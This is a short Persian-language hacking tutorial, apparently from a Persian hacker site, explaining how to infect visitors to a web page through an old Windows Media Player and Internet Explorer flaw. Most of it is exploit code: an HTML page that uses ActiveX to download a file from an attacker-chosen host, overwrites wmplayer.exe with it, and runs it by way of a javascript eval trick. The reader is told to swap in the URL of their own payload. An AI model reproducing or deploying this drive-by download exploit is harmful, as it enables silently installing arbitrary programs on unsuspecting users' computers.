استفاده از اکسپلویت Media Code, Media Code

استفاده از اکسپلویت Media Code, Media Code

چگونه افراد را از طریق ورود به سایت و از طزیق استفاده از آسیب پذیری مدیا هک کنیم.

ابتدا برنامه Front Page را باز می کنیم و 1 Page بصورت HTML درست می کنیم.

سپس کا را که در کادر مشاهدا می کنید آن رت کپی کرده و در آن Past
می کنیم


________________________________________________________

<textarea id="code" style="display:none;">

var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET", "http://www.********.com/****.***",0);
x.Send();

var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);

s.SaveToFile("C:\Program Files\Windows Media Player\wmplayer.exe",2);
location.href = "mms://";

</textarea>
Wait a couple of seconds..

<script language="javascript">

function preparecode(code) {
result = '';
lines = code.split(/ /);
for (i=0;i<lines.length;i++) {

line = lines[i];
line = line.replace(/^s+/,"");
line = line.replace(/s+$/,"");
line = line.replace(/'/g,"\'");
line = line.replace(/[\]/g,"\\");
line = line.replace(/[/]/g,"%2f");

if (line != '') {
result += line +'\r\n';
}
}
return result;
}

function doit() {
mycode = preparecode(document.all.code.value);
myURL = "file:javascript:eval('" + mycode + "')";
window.open(myURL,"_media")
}


window.open("error.jsp","_media");

setTimeout("doit()", 5000);


</script>

__________________________________________________________

حال شما آدرس فایل مورد نظر خود را به جای
http://www.Host .com/****.***l 
Past کنید .

موفق باشید

نوشته شده توسط : نادر نصیری ( Master )
حق کپی رایت از سایت : www.PersianHacKer.Org